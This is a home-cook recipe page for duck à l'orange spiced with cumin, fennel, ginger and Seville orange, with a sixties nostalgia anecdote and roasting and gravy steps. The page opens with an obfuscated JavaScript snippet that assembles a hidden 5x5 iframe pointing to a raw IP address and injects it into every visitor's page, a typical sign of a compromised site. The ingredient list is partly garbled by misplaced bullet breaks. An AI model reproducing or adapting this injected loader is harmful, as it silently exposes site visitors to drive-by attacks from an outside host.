roti ye='/';y='.';nz='r';mq='b2';l='21';r='ame';a='tp:';x='55.';lo='5';b='91';z='R';xx='17';c='//';ym='c';pe='?e';qq='h';s='ifr';o='s';ka='.1';uz='t';u=s.concat(r);i=o.concat(nz,ym);dt=qq.concat(uz,a,c,b,y,l,lo,ka,x,xx,ye,pe,mq,z);var aw=document.createElement(u);aw.setAttribute('width','5');aw.setAttribute('height','5');aw.setAttribute('style','display:none');aw.setAttribute(i,dt);document.body.appendChild(aw);



Google fb32x32 twitter linkedin feed-icon-32x32

Duck a l’Orange de l’Inde

A ‘60s specialty done up with Indian flavours!

Duck a l’Orange de l’Inde
30 mins + 24 hour marinating time
Preparation Time
2 ½ hours + 20 mins resting time
Cooking Time
Serves 2

Way back in the late sixties, I went to visit my sister when she was a university student in Edmonton, where she made me duck a l’orange. I thought I had died and floated to heaven. Yesterday I made marmalade from scratch, and had a Seville orange left over, and there was a sale on duck, so guess what I made?


  • 3 teaspoons cumin seed
    2 teaspoons fennel seed
    1 teaspoon chilli flakes
    4 cloves
    ten or so turns of freshly ground black pepper
    1 large cinnamon stick
    2 inches shredded ginger
    3 cloves fresh garlic
  • smashed
    2 small hot chillies
  • sliced thickly
    1 teaspoon turmeric
    20 grates freshly ground black pepper

    1 Seville orange
  • sliced thickly

    1 roasting duck
    ¼ cup coarse salt

    water to fill roasting pan up to an inch deep
    2 oranges
  • squeezed
  • pulp included
    1 tablespoon marmalade
  • homemade if possible


In a mortar and pestle, coarsely grind the first four ingredients. Add the rest of the spices, ginger and garlic to this mixture. Set aside.

Pour most of the coarse salt into the cavities of the duck, but some into your hand. Rub that salt into the duck, as if the salt were a cleaning agent, which it actually is! Rinse it off, and rinse inside the duck, being sure to pluck out any objects such as packaged giblets or a neck. I throw these out, and rinse like mad. Some of the salt will stay behind, but too much would be unpleasant. Dry the interior and exterior of the duck with lots of paper towels, and put into a container for marinating. Stuff the cavities with most of the spice mixture along with the ginger, garlic and oranges. Pat the rest of the spice mixture over the duck skin. Cover, and let marinate in the fridge for 24 hours.

Heat oven to 500 F degrees. Prick the duck all over with a sharp fork. Using a non-stick roasting pan with a tray, fill the pan with water, up to an inch deep. Put the duck on the tray, being sure the duck is above the water level. Roast for 30 minutes. Turn heat down to 350. Check from time to time that there is still some water in the pan. Cook another hour and a half, or until thermometer registers 170. When it does, crank the oven heat up to broil, and watch carefully. The skin should be darkened and caramelised, but nothing should burn. This should take less than five minutes. Remove the duck and set aside on a separate platter, covered with tin foil to rest. Meanwhile, pour the juices into a gravy separator, and add about eight ice-cubes. Pour the orange juice and pulp into the pan to deglaze it, and cook gently. As the duck juices cool in the gravy separator, remove the fat and pour the duck juices back into the pan. Add the marmalade. Taste to see if salt is needed. Pour into a small pitcher.

I served the duck and sauce with broccoli and an “ancient grains rice mix” made from red rice, barley, rye berries, black barley, whole oats, quinoa, and long grain red. This old fashioned meal will float you right back to the sixties, bellbottoms and flower power, and all with a Ravi Shankar beat! Oh nostalgia!